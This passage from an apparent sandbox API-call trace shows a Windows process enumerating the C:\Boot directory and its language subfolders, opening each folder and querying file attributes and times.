dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0037.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.854] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.854] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.854] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0037.854] GetLastError () returned 0x12 [0037.854] FindFirstFileExW (in: lpFileName="C:\\Boot\\*", fInfoLevelId=0x1, lpFindFileData=0x17af4b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af4b0) returned 0x459bf8 [0037.854] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0037.854] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0037.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.855] GetFileAttributesExW (in: lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0037.855] CreateFileW (lpFileName="C:\\Boot\\cs-CZ" (normalized: "c:\\boot\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0037.856] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0037.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0037.856] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0037.856] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0037.856] NtClose (Handle=0x16c) returned 0x0 [0037.856] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0037.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0037.856] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0037.856] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.857] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0037.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.857] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.857] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed58b0 [0037.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f1d0 [0037.857] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.857] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0037.858] GetLastError () returned 0x12 [0037.858] FindFirstFileExW (in: lpFileName="C:\\Boot\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0037.858] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0037.858] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.858] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0037.858] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0037.858] GetLastError () returned 0x12 [0037.858] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0037.858] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0037.858] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0037.858] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.858] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0037.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.858] GetFileAttributesExW (in: lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0037.858] CreateFileW (lpFileName="C:\\Boot\\da-DK" (normalized: "c:\\boot\\da-dk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x134 [0037.858] SetFileTime (hFile=0x134, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0037.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xed9690 [0037.858] DeviceIoControl (in: hDevice=0x134, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xed9690, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xed9690, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0037.859] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0037.859] NtClose (Handle=0x134) returned 0x0 [0037.859] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0037.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0037.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0037.859] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bb8 [0037.859] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.859] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0037.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.859] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.859] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0037.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xed58d0 [0037.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f0c0 [0037.859] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0037.859] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0037.859] GetLastError () returned 0x12 [0037.859] FindFirstFileExW (in: lpFileName="C:\\Boot\\da-DK\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459b78 [0037.859] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0037.859] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.859] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0037.859] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0037.859] GetLastError () returned 0x12 [0037.859] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0037.860] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0037.860] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f368) returned 1 [0037.860] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0037.860] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, 